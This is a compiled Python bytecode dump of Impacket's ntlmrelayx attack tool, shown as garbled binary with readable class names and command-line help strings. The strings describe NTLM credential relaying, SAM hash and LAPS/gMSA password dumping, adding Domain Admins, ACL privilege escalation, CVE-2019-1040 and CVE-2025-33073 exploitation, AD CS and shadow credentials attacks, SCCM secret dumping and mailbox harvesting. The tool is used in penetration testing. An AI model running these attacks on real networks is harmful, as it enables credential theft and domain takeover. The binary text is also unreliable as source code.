o àý°jj‚ã @st ddlZddlZddlZddlZz ddlmZmZmZWney/ddl mZmZmZYnwddl m Z ddl Z ddl mZddlmZddlmZddlmZddlmZmZmZmZmZmZmZmZmZdd lm Z m!Z!dd l"m#Z#m$Z$dd l%m&Z&gZ'Gd d „d ej(ƒZ)dd„Z*dd„Z+e,dkr¸e-ej.ƒej/dddZ0de0j1_2e0j3ddddde0j3dddde0j3ddd de0j3d!d"d#d$d%d&e0j3d'd#d(d)d&e0j3d*dd+de0j3d,d-dd.de0j3d/d0d#d1d2ej4d3e0 5¡Z6e6j3d4dd5de6j3d6dd7de6j3d8dd9de6j3d:dd;de6j3ddd?de6j3d@ddAde6j3dBddCde0j3dDe7dEdFdGe0j3dHdIdJdKe0j3dLe7dMdNdGe0j3dOe7dPdQdGe0j3dRe7dSdTdGe0j3dUe7dVdWdGe0j3dXe7dYdZdGe0j3d[ddd\d]e0j3d^ddd_d]e0j3d`daddbde0j3dcd#ddded&e0j3dfdgd#e8ddhdidjdke0j3dldmd#dnde0j3dodpdddqdre0j3dsd#dte 9¡de0j3dudddvdre0j3dwd#ddxdre0j3dydddzdre0j3d{d|d}d~e0j3dd€e7dd‚e0j3dƒd„e7d…d‚e0j3d†d‡d#dˆde0j3d‰dŠd#e7d‹dŒde0j3dŽdddde0j3d‘dd’de0j3d“dd”de0j3d•d#d–de0j3d—d#e8dd˜d™dše0j3d›d#ddœd]e0 5d¡Z:e:j3džd#ddŸd d¡e:j3d¢ddd£d]e:j3d¤d#gd¥¢ddd¦d§e0 5d¨¡Z;e;j3d©dªd«gdªd¬d­e;j3d®ddd¯d]e;j3d°d#dd±d²d³d´e;j3dµd#dd¶d·e;j3d¸e7d¹dFgdFdºd»e;j3d¼d#d±d½dre0 5d¾¡Ze>j3dÎdÏddÐd]e>j3dÑdÏddÒd]e>j3dÓdÏddÔd]e>j3dÕdÏddÖd]e>j3d×d#ddØd]e>j3dÙdddÚd]e>j3dÛdddÜd]e>j3dÝdddÞd]e>j3dßdddàd]e>j3dádddâd]e>j3dãdäd#dåddædçe0 5dè¡Z?e?j3déd#dêddëdìdíe0 5dî¡Z@e@j3dïdðd#dñddòdódôe@j3dõdöd#d÷ddødùdôe@j3dúdûdddüd]e@j3dýdþd#e7dddÿde0 5d¡ZAeAj3ddddd]eAj3dd#ddddeAj3dd#d dd de0 5d ¡ZBeBj3d ddd d]eBj3dd#ddd]eBj3dd#ddd]eBj3dd#dddgdd„dddeBj3dd#ddd]e0 5d¡ZCeCj3ddddd]eCj3dd#ddd]eCj3d d#dd!d]e0 5d"¡ZDeDj3d#ddd$d]eDj3d%d#dd&d]eDj3d'd#dd(d]ze0 E¡ZFWneGyvZHze Ie8eHƒ¡e Jd‹¡WYdZH[HndZH[HwweFjKrŠeFjLsŠe Id)¡e Jd‹¡eFjMd*ur¿eFjN Od+¡ Pd,¡s¿e Id-¡e Id.e eFjNƒjQ›d/e eFjNƒjR›d,¡e Jd‹¡eFjSd*urôeFjN Od+¡ Pd0¡sôe Id1¡e Id.e eFjNƒjQ›d/e eFjNƒjR›d0¡e Jd‹¡e TeFjUeFjV¡dd2lWmXZXdd3lYmZZZeFj[r&eFj[d \¡Z]e]d4ks e]dëkr&e ^d5¡eFj_dur0eFj_Z_ne 9¡Z_eFjNdurVe `d6¡d7Zae#eFjNeXeFjbd8ZcecjdrUd*eF_en4eFjfdureFjgrke `d9¡e Jd‹¡e `d:¡e#eFjfeXeFjbd;Zcd7Zan e `d<¡dZcd=ZaeFjhs“e' ie¡eFjjsÆe' ie¡ze!eFjkƒeF_kWnely¹e Id>¡e Jd‹¡YnweFjmdurÆe `d?¡eFjnsÏe' ie¡eFjosØe' ie¡eFjpsæe' ie¡e' ie¡eFjqsïe' ie¡eFjrsøe' ie¡eFjsse' ie¡ecdureFjtre$ecƒZueu v¡ewƒZxdZyeFjzd*urBe&eFj{eFj|feFj}d@Zyd*ey_~eeyjdAZ€d*e€_e€ v¡ex ‚e€¡dBeFvrSeFjƒrOdCndDeF_„e*eFexƒZ…eFjerce `dE¡ne `dF¡e-d±ƒe `dG¡zeFjzrŒe)e…exdH †eFj{eFj}¡dIZ‡e‡ ˆ¡nej‰ Š¡Wn e‹yœYnw eFjzd*urªey Œ¡[yexD]Z[q¬e Jd¡dSdS(JéN)Ú ProxyHandlerÚ build_openerÚRequest)Úurlparse)Úsleep)ÚThread)Úversion)Úlogger) ÚSMBRelayServerÚHTTPRelayServerÚWCFRelayServerÚRAWRelayServerÚRPCRelayServerÚWinRMRelayServerÚWinRMSRelayServerÚMSSQLRelayServerÚRDPRelayServer)ÚNTLMRelayxConfigÚparse_listening_ports)ÚTargetsProcessorÚTargetsFileWatcher)ÚSOCKSc@s`eZdZdd„Zedd„ƒZdd„Zdd„Zd d „Zd d „Z d d„Z dd„Z dd„Z dd„Z dS)Ú MiniShellcCs:tj |¡d|_||_d|_||_d|_||_d|_ dS)Nz ntlmrelayx> zType help for list of commandsT) ÚcmdÚCmdÚ__init__ÚpromptÚ api_addressÚtidÚ relayConfigÚintroÚ relayThreadsÚserversRunning)ÚselfrÚthreadsr©r%úŠ/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/../../../bin/ntlmrelayx.pyr@s  zMiniShell.__init__csšg}t|ƒD]\‰}t‡fdd„|Dƒƒ}| t|t|ƒƒ¡qd dd„t|ƒDƒ¡}t|j|Žƒtd dd„|Dƒ¡ƒ|D] }t|j|ŽƒqAdS)Ncsg|]}t|ˆƒ‘qSr%)Úlen)Ú.0Úrow©Úir%r&Ú Osz(MiniShell.printTable..ú cSsg|] \}}d||f‘qS)z {%d:%ds} r%)r(ÚnumÚwidthr%r%r&r,Rsz cSsg|] }dt|dƒ‘qS)ú-é)Úmax)r(ÚitemLenr%r%r&r,Vs)Ú enumerater2Úappendr'ÚjoinÚprintÚformat)ÚitemsÚheaderÚcolLenÚcolÚ rowMaxLenÚ outputFormatr)r%r*r&Ú printTableKsÿzMiniShell.printTablecCsdS©Nr%)r#r%r%r&Ú emptyline\szMiniShell.emptylinecCó |jjjD]}t| ¡ƒqdSr@)rÚtargetÚoriginalTargetsr7Úgeturl©r#ÚlineÚurlr%r%r&Ú do_targets_ózMiniShell.do_targetscCrBr@)rrCÚfinishedAttacksr7rErFr%r%r&Údo_finished_attacksdrJzMiniShell.do_finished_attacksc Cs¦gd¢}d |j¡}ztiƒ}t|ƒ}t|ƒ}| |¡}| ¡}t |¡} Wnt yB} zt   dt | ƒ¡WYd} ~ dSd} ~ wwt | ƒdkrÌd|vr¸t | dd¡ d¡ƒd kr¸| dd¡ d¡d} | dd¡ d¡d } | d krwd } n| d kr~d } n| d kr…d} nt  d¡dSg} | D]}|  ¡||  ¡vr¡|  |¡qt | ƒdkr±|j| |ddSt  d¡dSd|vrÃt  d¡dS|j| |ddSt  d¡dS)zÂFilter are available : type : socks filters : target, username, admin values : - target : IP or FQDN - username : domain/username - admin : true or false )ÚProtocolÚTargetÚUsernameÚ AdminStatusÚPortÚIDz$http://{}/ntlmrelayx/api/v1.0/relaysz ERROR: %sNrú=ÚsocksÚéérCÚusernameÚadminr1z*Expect : target / username / admin = value)r:z#No relay matching filter available!z$Expect target/username/admin = valuezNo Relays Available!)r8rrrrÚopenÚreadÚjsonÚloadsÚ ExceptionÚloggingÚerrorÚstrr'ÚreplaceÚsplitÚinfoÚlowerr5r?)r#rGÚheadersrHÚ proxy_handlerÚopenerÚresponseÚrÚresultr9ÚeÚ_filterÚ_valueÚ_itemsr+r%r%r&Údo_socksisJ   €ÿ "  € zMiniShell.do_sockscCs4|jstt|jƒd|_t d¡dSt d¡dS)NTzRelay servers startedz"Relay servers are already running!)r"Ú start_serversÚoptionsr!r_rdr`©r#rGr%r%r&Údo_startserversœs  zMiniShell.do_startserverscCs2|jrt|jƒd|_t d¡dSt d¡dS)NFzRelay servers stoppedz"Relay servers are already stopped!)r"Ú stop_serversr!r_rdr`rsr%r%r&Údo_stopservers¤s  zMiniShell.do_stopserverscCs tdƒdS)NzShutting down, please wait!T)r7rsr%r%r&Údo_exit¬szMiniShell.do_exitcCs | |¡Sr@)rwrsr%r%r&Údo_EOF°s zMiniShell.do_EOFN)Ú__name__Ú __module__Ú __qualname__rÚ staticmethodr?rArIrLrprtrvrwrxr%r%r%r&r?s 3 rcCs”tD]Ä}tƒ}| t¡| |jt¡| t¡|  |j ¡|  |j ¡|  |j¡| |j¡| |j¡| |j¡| t¡| t¡| t¡| |j¡| |j¡| |j ¡| !|j"|j#|j$|j%|j&|j|j'|j(|j)|j*|j+|j,¡ | -|j.|j/|j0|j1|j2|j3¡| 4|j5¡| 6|j7¡| 8|j9|j:|j;|j<¡| =|j>¡| ?|j@|jA¡| B|jC¡| D|jE¡| F|jG¡| H|jI¡| J|jK|jL|jM¡| N|jO¡| P|jQ¡| R|jS¡| T|jU¡| V|jW|jX|jY|jZ¡| [|j\¡| ]|j^¡| _|j`|ja¡| b|jc|jd¡| e|jf¡|tgur.|jhdur.| d¡| i|jh¡|tjur<|jkr<| ld¡|tguri| m|jn|jo|jp¡|jqD]}| r|¡||ƒ}| s¡| t|¡tudƒqNq|tjuru| r|jv¡nE|twur| r|jx¡n9|tyur| r|jz¡n-|t{ur™| r|j|¡n!|t}ur¯| r|j~¡|jr®| €|j¡n |turº| r|j‚¡||ƒ}| s¡| t|¡q|S)NÚREDIRECTTgš™™™™™¹?)ƒÚ RELAY_SERVERSrÚsetProtocolClientsÚPROTOCOL_CLIENTSÚ setRunSocksrTÚ socksServerÚ setTargetsÚ targetSystemÚ setExeFilerlÚ setCommandÚcÚsetEnumLocalAdminsÚenum_local_adminsÚsetAddComputerSMBÚ add_computerÚsetDisableMultiÚ no_multirelayÚsetKeepRelayingÚ keep_relayingÚ setEncodingÚcodecÚsetModeÚmodeÚ setAttacksÚPROTOCOL_ATTACKSÚ setLootdirÚlootdirÚ setOutputFileÚ output_fileÚ setdumpHashesÚ dump_hashesÚsetLDAPOptionsÚno_dumpÚno_daÚno_aclÚno_validate_privsÚ escalate_userÚdelegate_accessÚ dump_lapsÚ dump_gmsaÚ dump_adcsÚsidÚadd_dns_recordÚ setRPCOptionsÚrpc_modeÚ rpc_use_smbÚauth_smbÚ hashes_smbÚ rpc_smb_portÚ icpr_ca_nameÚsetMSSQLOptionsÚqueryÚsetInteractiveÚ interactiveÚsetIMAPOptionsÚkeywordÚmailboxÚallÚimap_maxÚsetIPv6Úipv6ÚsetWpadOptionsÚ wpad_hostÚ wpad_auth_numÚsetSMB2SupportÚ smb2supportÚsetSMBChallengeÚ ntlmchallengeÚsetSMBRPCAttackÚ rpc_attackÚsetInterfaceIpÚ interface_ipÚsetExploitOptionsÚ remove_micÚ remove_targetÚremove_sign_sealÚsetWebDAVOptionsÚ serve_imageÚsetIsADCSAttackÚadcsÚsetADCSOptionsÚtemplateÚsetIsShadowCredentialsAttackÚshadow_credentialsÚsetShadowCredentialsOptionsÚ shadow_targetÚ pfx_passwordÚ export_typeÚcert_outfile_pathÚsetIsSCCMPoliciesAttackÚ sccm_policiesÚsetIsSCCMDPAttackÚsccm_dpÚsetSCCMPoliciesOptionsÚsccm_policies_clientnameÚsccm_policies_sleepÚsetSCCMDPOptionsÚsccm_dp_extensionsÚ sccm_dp_filesÚ setAltNameÚaltnamer rjÚsetRedirectHostr ÚrandomÚsetRandomTargetsÚsetDomainAccountÚmachine_accountÚmachine_hashesÚdomainÚ http_portÚsetListeningPortÚstartÚaddrÚsmb_portr Úwcf_portr Úraw_portrÚrpc_portrÚ mssql_portÚmssql_dbÚ setMSSQLDbrÚrdp_port)rrr$Úserverr‡ÚportÚsr%r%r&rq³s”               8            ÿ                  €   rqcCsJg}|D]}t|ttƒƒr|j ¡| |¡q|D]}| |¡~qdSr@)Ú isinstanceÚtupler~rõÚshutdownr5Úremove)r$ÚtodeleteÚthreadr%r%r&rus  € þruÚ__main__FzFor every connection received, this module will try to relay that connection to specified target(s) system or the original client)Úadd_helpÚ descriptionz Main optionsz-hz--helpÚhelpzshow this help message and exit)Úactionrz-tsÚ store_truez&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONz-tz--targetÚstoreÚTARGETzàTarget to relay the credentials to, can be an IP, hostname or URL like domain\username@host:port (domain\username and port are optional, and don't forget to escape the '\'). If unspecified, it will relay back to the client'))rÚmetavarrz-tfÚ TARGETSFILEz@File that contains targets by hostname or full URL, one per linez-wz\Watch the target file for changes and update target list automatically (only valid with -tf)z-iz --interactivezÂLaunch an smbclient, LDAP console or SQL shell insteadof executing a command after a successful relay. This console will listen locally on a tcp port and can be reached with for example netcat.z-ipz--interface-ipÚ INTERFACE_IPzLIP address of interface to bind relay servers ("0.0.0.0" or "::" if omitted))rrrÚdefaultz--no-smb-serverzDisables the SMB serverz--no-http-serverzDisables the HTTP serverz--no-wcf-serverzDisables the WCF serverz--no-raw-serverzDisables the RAW serverz--no-rpc-serverzDisables the RPC serverz--no-winrm-serverzDisables the WinRM serverz--no-mssql-serverzDisables the MSSQL serverz--no-rdp-serverzDisables the RDP serverz --smb-portzPort to listen on smb serveri½)Útyperr z --http-portzPort(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`Ú80)rr z --wcf-portzPort to listen on wcf serveri­$z --raw-portzPort to listen on raw serveri z --rpc-portzPort to listen on rpc serveré‡z --mssql-portzPort to listen on mssql serveri™z --rdp-portzPort to listen on rdp serveri= z--no-multirelayz7If set, disable multi-host relay (SMB and HTTP servers))rÚrequiredrz--keep-relayingzKIf set, keeps relaying to a target even after a successful connection on itz-raz--randomzRandomize target selectionz-rÚ SMBSERVERz5Redirect HTTP requests to a file:// path on SMBSERVERz-lz --lootdirÚLOOTDIRÚ.zdLoot directory in which gathered loot such as SAM dumps will be stored (default: current directory).)rr r rr rz-ofz --output-filezUbase output filename for encrypted hashes. Suffixes will be added for ntlm and ntlmv2z-dhz --dump-hashesz$show encrypted hashes in the console)rr rz-codecaSets encoding used (codec) from the target's output (default "%s"). If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py again with -codec and the corresponding codec z -smb2supportz SMB2 Supportz-ntlmchallengezdSpecifies the NTLM server challenge used by the SMB Server (16 hex bytes long. eg: 1122334455667788)z-socksz/Launch a SOCKS proxy for the connection relayedz-socks-addressz 127.0.0.1z.SOCKS5 server address (also used for HTTP API))r rz -socks-porti8zSOCKS5 server port)r r rz-http-api-porti‚#zSOCKS5 HTTP API portz-whz --wpad-hostzgEnable serving a WPAD file for Proxy Authentication attack, setting the proxy host to the one supplied.z-waz--wpad-auth-numrWzpPrompt for authentication N times for clients without MS16-077 installed before serving a WPAD file. (default=1))rr r rz-6z--ipv6zListen on IPv6z --remove-micz"Remove MIC (exploit CVE-2019-1040)z--remove-sign-sealzFRemove SIGN/SEAL-related NTLM negotiate flags (exploit CVE-2025-33073)z --serve-imagez8local path of the image that will we returned to clientsz-cÚCOMMANDzºCommand to execute on target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be in the same directory). For RPC no output will be provided.)rr r rrz --mssql-dbzDatabase for MSSQL relayzSMB client optionsz-eÚFILEz|File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory))rr rrz--enum-local-adminszcIf relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)z --rpc-attack)NÚTSCHÚICPRz7Select the attack to perform over RPC over named pipes.)rÚchoicesr r rzRPC client optionsz -rpc-moderrzProtocol to attack)rr rz -rpc-use-smbzRelay DCE/RPC to SMB pipesz -auth-smbrUz[domain/]username[:password]zBUse this credential to authenticate to SMB (low-privilege account))rr r rrz -hashes-smbz LMHASH:NTHASH)rr rz -rpc-smb-porté‹z"Destination port to connect to SMB)r rr rz -icpr-ca-namezName of the CA for ICPR attackzMSSQL client optionsz-qz--queryr5ÚQUERYz,MSSQL query to execute(can specify multiple)z HTTP optionsz-machine-accountzDomain machine account to use when interacting with the domain to grab a session key for signing, format is domain/machine_namez-machine-hashesz.Domain machine hashes, format is LMHASH:NTHASHz-domainz+Domain FQDN or IP to connect using NETLOGONz-remove-targetz`Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)zLDAP client optionsz --no-dumpÚ store_falsez'Do not attempt to dump LDAP informationz--no-daz$Do not attempt to add a Domain Adminz--no-aclzDisable ACL attacksz--no-validate-privsziDo not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacksz--escalate-userz>Escalate privileges of this user instead of creating a new onez--delegate-accesszDDelegate access on relayed computer account to the specified accountz--sidz8Use a SID to delegate access rather than an account namez --dump-lapsz7Attempt to dump any LAPS passwords readable by the userz --dump-gmsaz7Attempt to dump any gMSA passwords readable by the userz --dump-adcszGAttempt to dump ADCS enrollment services and certificate templates infoz--add-dns-recordrV)ÚNAMEÚIPADDRz:Add the record to DNS via LDAP pointing to )Únargsrrr rzCommon options for SMB and LDAPz--add-computer)Ú COMPUTERNAMEÚPASSWORDÚ*zÊAttempt to add a new computer account via SMB or LDAP, depending on the specified target. This argument can be used either with the LDAP or the SMB service, as long as the target is a domain controller.)rrr rrzIMAP client optionsz-kz --keywordÚKEYWORDÚpasswordzYIMAP keyword to search for. If not specified, will search for mails containing "password")rrr r rz-mz --mailboxÚMAILBOXÚINBOXz$Mailbox name to dump. Default: INBOXz-az--allz2Instead of searching for keywords, dump all emailsz-imz --imap-maxz?Max number of emails to dump (0 = unlimited, default: no limit))rr r r rzAD CS attack optionsz--adcszEnable AD CS relay attackz --templateÚTEMPLATEz’AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`)rrr rz --altnameÚALTNAMEzESubject Alternative Name to use when performing ESC1 or ESC6 attacks.z!Shadow Credentials attack optionsz--shadow-credentialszjEnable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)z--shadow-targetzJtarget account (user or computer$) to populate msDS-KeyCredentialLink fromz--pfx-passwordzqpassword for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)z --export-typeÚPEMÚPFXcCs| ¡Sr@)Úupper)Úchoicer%r%r&Ú¯sr)zNchoose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX)))rr rr r rz--cert-outfile-pathzJfilename to store the generated self-signed PEM or PFX certificate and keyzSCCM Policies attack optionsz--sccm-policieszÛEnable SCCM policies attack. Performs SCCM secret policies dump from a Management Point by registering a device. Works best when relaying a machine account. Expects as target 'http:///ccm_system_windowsauth/request'z--sccm-policies-clientnamezwThe name of the client that will be registered in order to dump secret policies. Defaults to the relayed account's namez--sccm-policies-sleepz^The number of seconds to sleep after the client registration before requesting secret policiesz&SCCM Distribution Point attack optionsz --sccm-dpz˜Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target 'http:///sms_dp_smspkg$/Datalib'z--sccm-dp-extensionsz–A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfxz--sccm-dp-filesz´The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexingz+Set -auth-smb to relay DCE/RPC to SMB pipesTú/z/ccm_system_windowsauth/requestz‚When performing SCCM policies attack, the Management Point authenticated device registration endpoint should be provided as targetzFor instance: z://z/sms_dp_smspkg$/DatalibzdWhen performing SCCM DP attack, the Distribution Point Datalib endpoint should be provided as target)r€)r•Úwpadz²You are asking to add a `wpad` or a wildcard DNS name. This can cause disruption in larger networks (using multiple DNS subdomains) or if workstations already use a proxy config.z$Running in relay mode to single hostÚRELAY)Ú singleTargetÚprotocolClientsÚ randomizez[To add a machine account through SMB only the Domain Controller must be specified as targetz,Running in relay mode to hosts in targetfile)ÚtargetListFiler.r/zRunning in reflection modeÚ REFLECTIONz5Incorrect specification of port range for HTTP serverz$Running HTTP server in redirect mode)Úserver_addressÚapi_port)rCrÄz::z0.0.0.0zMultirelay disabledzMultirelay enabledz(Servers started, waiting for connectionsz{}:{})r)ŽÚargparseÚsysr_rÚurllib.requestrrrÚ ImportErrorÚurllib2Ú urllib.parserr\ÚtimerÚ threadingrÚimpacketrÚimpacket.examplesr Ú$impacket.examples.ntlmrelayx.serversr r r r rrrrrÚ)impacket.examples.ntlmrelayx.utils.configrrÚ/impacket.examples.ntlmrelayx.utils.targetsutilsrrÚ0impacket.examples.ntlmrelayx.servers.socksserverrr~rrrqruryr7ÚBANNERÚArgumentParserÚparserÚ _optionalsÚtitleÚ add_argumentÚSUPPRESSÚadd_argument_groupÚserversoptionsÚintraÚgetdefaultencodingÚ smboptionsÚ rpcoptionsÚ mssqloptionsÚ httpoptionsÚ ldapoptionsÚ commonoptionsÚ imapoptionsÚ adcsoptionsÚshadowcredentialsÚsccmpoliciesoptionsÚ sccmdpoptionsÚ parse_argsrrr^rlr`Úexitrªr«r×rCÚrstripÚendswithÚschemeÚnetlocrÙÚinitÚtsÚdebugÚ$impacket.examples.ntlmrelayx.clientsr€Ú$impacket.examples.ntlmrelayx.attacksr•r§reÚdns_nameÚwarningr‘rdr“rãr„ÚgeneralCandidatesrÚtfr‹Ú no_smb_serverr5Úno_http_serverréÚ ValueErrorrjÚ no_wcf_serverÚ no_raw_serverÚno_winrm_serverÚ no_rpc_serverÚno_mssql_serverÚ no_rdp_serverÚwÚ watchthreadrëÚsetr$r‚rTÚ socks_addressÚ socks_portÚ http_api_portÚdaemon_threadsÚ serve_foreverÚ socks_threadÚdaemonrìr¹rÄr‡r8ÚshellÚcmdloopÚstdinr[ÚKeyboardInterruptrúr÷r%r%r%r&Ús' ÿ     , tS ÿ ü ÿ  ÿ   ÿ ÿ ÿ      ÿ ÿ$ÿ   €þ  & . & .     €        þ                €ÿÅ